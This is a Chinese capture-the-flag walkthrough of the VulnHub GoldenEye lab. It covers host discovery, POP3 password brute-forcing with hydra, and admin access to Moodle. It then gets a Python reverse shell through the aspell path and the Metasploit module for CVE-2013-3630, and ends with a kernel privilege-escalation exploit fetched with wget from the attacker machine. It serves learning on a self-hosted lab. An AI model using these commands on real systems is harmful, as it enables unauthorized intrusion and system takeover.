1.前言
本文仅用于技术讨论与研究,不做任何导向,对于所有笔记中复现的这些终端、服务器或者实验环境,均为自行搭建的公开靶场,请勿在现实环境中模仿、操作。本文涉及到的工具仅就用到的方面做简要描述,如果想了解更详细的信息,请自行参阅其他技术资料。如果列出的技术用于其他任何目标,作者概不负责。
2.准备工作
镜像下载地址:https://download.vulnhub.com/goldeneye/GoldenEye-v1.ova。
难度:中等
镜像下载完后使用VirtualBox导入,网卡1选择桥接模式,开启靶机
目标:获取root的flag。
靶机IP:未知
本机kali IP:192.168.1.107
3.arp-scan主机发现
使用命令:
arp-scan -l
发现了局域网中存活的几台主机,IP:192.168.1.116是我们目标机器。
4.网络扫描
nmap -A 192.168.1.116
发现系统是linux,开放了80、25端口,80端口为HTTP服务,使用的是Apache 2.4.7,25端口为smtp。
查看web指纹
whatweb 192.168.1.116
没有发现有用的东西。
看看网站,浏览器访问:https://192.168.1.116
web页面上是一些提示
提示导航到/sev-home/目录去登录。通过浏览器访问
不知道账号密码。
目录爆破
使用dirsearch 对 192.168.1.116和dirsearch -u 192.168.1.116/sev-home
dirsearch -u 192.168.1.116
dirsearch -u 192.168.1.116/sev-home
都没有发现有用的东西,图就不贴了。
看看网页的源码。
还有两个文件,进一步查看,在terminal.js中发现了账号、密码。
得到账号密码:
Boris/InvincibleHack3r
还有一个账号,Natalya,不知道密码。
密码是html编码的密码
在burp中解码得到:InvincibleHack3r
使用账号密码:Boris/InvincibleHack3r登录,发现登录不成功。账号换成小写成功登录。
页面上,提示需要发送邮件给GNO管理员。pop3服务器不是运行在默认端口。
顺便查看一下源码,发现了两个GNO管理员,Natalya,Boris。
我们再扫描一次这个IP,加上参数 -p- 。
nmap -A -p- 192.168.1.116
果然又发现了两个端口,55006,运行pop3服务,55007,服务未知。
通过浏览器访问者两个端口,在55007端口发现如下。
是pop3的登录地址,不知道密码,无法登录
5.hydra 密码爆破
联想到主页源码中提示Boris更新他的默认密码,这里可能存在弱密码。
把账号Boris、boris、Natalya、natalya写入文件,\n是换行符。
echo -e 'Boris\nboris\nNatalya\nnatalya' > user.txt
使用hydra 进行密码爆破。
hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt 192.168.1.116 -s 55007 pop3 -t 64
发现了4对账号密码。分别登录查看一下。
使用nc 连接pop3端口。
nc 192.168.1.116 55007 #登录邮箱
user boris #登录用户
pass secret1! #登录密码
list #查看邮件数量
retr 1~3 #分别使用retr 1、retr2、retr3来查看邮件内容
quit #退出,结束回话
依次查看四个账号的内容,实际上只有两个账号,账号名大小写是一样的。
在boris邮件中发现如下内容。
在natalyn第2封邮件中发现如下内容。
获得一组用户名密码:xenia/RCP90rulez!。一个域severnaya-station.com/gnocertdir。提示要加入hosts文件中。
在/etc/hosts文件中加入一行。
192.168.1.116 severnaya-station.com
通过浏览器访问http://severnaya-station.com/gnocertdir/
然后使用邮件中的账号密码登陆。后台使用的是moodle框架。
点点点!!!
找到一个未读信息
得到邮箱用户doak,继续去爆破doak的邮箱密码。
hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.1.116 -s 55007 pop3 -t 64
成功爆破出密码goat,使用账号名密码:doak/goat 登陆邮箱,查看邮箱内容。
获得一个账号密码:dr_doak/4England!,提示使用这个账号登录系统。
找到一个用户admin
还看到for james目录,下面有一个文件。
文件内容如下
目录下有一张图片。把图片下载到本地。
wget http://severnaya-station.com/dir007key/for-007.jpg
使用strings查看图片底层内容。
strings for-007.jpg
发现隐藏的信息。
eFdpbnRlcjE5OTV4IQ==
使用burp 进行base64解码得到:xWinter1995x!
使用账号密码admin/xWinter1995x! 登录。是后台管理员账号。
发现moodle版本号2.2.3。
6获取反弹shell
6.1通过命令执行获取
在siteAdministration->server->system paths下发现可以执行命令,能够反弹shell。
把system paths 中path to aspell 内容换成如下反弹shell代码并保存
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
在settings->siteadministration->plugins->TextEditors->ManageEditors->settings->spell engine选择PSpellShell
在攻击机上执行如下代码,监听5678端口,等待反弹shell连接。
nc -vlp 5678
在home->tags->breaking codes and spinning my pen->edit this tag 中触发反弹shell命令执行。
注意点击√。执行√左右都能点击,并不能触发,一定要点击对地方。
获得反弹shell
6.2通过msf获取
我们知道了后台使用框架为moodle,版本为2.2.3
google moodel 2.2.3 漏洞,发现存在cve-2013-3630
在settings->siteadministration->plugins->TextEditors->ManageEditors->settings->spell engine选择PSpellShell 保存
使用msf测试
msfconsole #启动msf
search moodle #查找moodle的攻击模块
search cve:cve-2013-3630 #查找指定cve攻击模块
use 0 #使用指定模块
info #查看信息,然后设置需要的参数
set username admin #设置用户名
set password xWinter1995x! #设置密码
set rhost severnaya-station.com #设置远程主机域名
set targeturi /gnocertdir #设置目录
show payloads #查看可用payload
set payload cmd/unix/reverse #设定payload 设置时,使用编号也行
set lhost 192.168.1.107 #设定监听主机ip,本机ip
set lport 1234 #设定监听端口,本机端口
run #执行
转tty
python -c 'import pty; pty.spawn("/bin/bash")'
7.提权
运行
uname -a
得知系统是64位,Linux ubuntu 3.13.0-32-generic 。
在kali中搜索ubuntu 3.13版本的提权exp
searchsploit ubuntu 3.13
有几个提取exp,选择第一个3729.c
在靶机上看看gcc
靶机没有gcc,在exp文件第143行把gcc改成cc
把exp文件上传到靶机。
在攻击机运行
python -m http.server 8081
靶机运行wget下载文件
wget http://192.168.1.107:8081/37292.c
cc 37292.c -o ex #使用cc编译。
chmod +x ex #授予执行权限
./ex #运行
cd /root
ls -al
可以看到.flag.txt 文件,即是flag文件。
8.结语
最后请各位师傅斧正!!!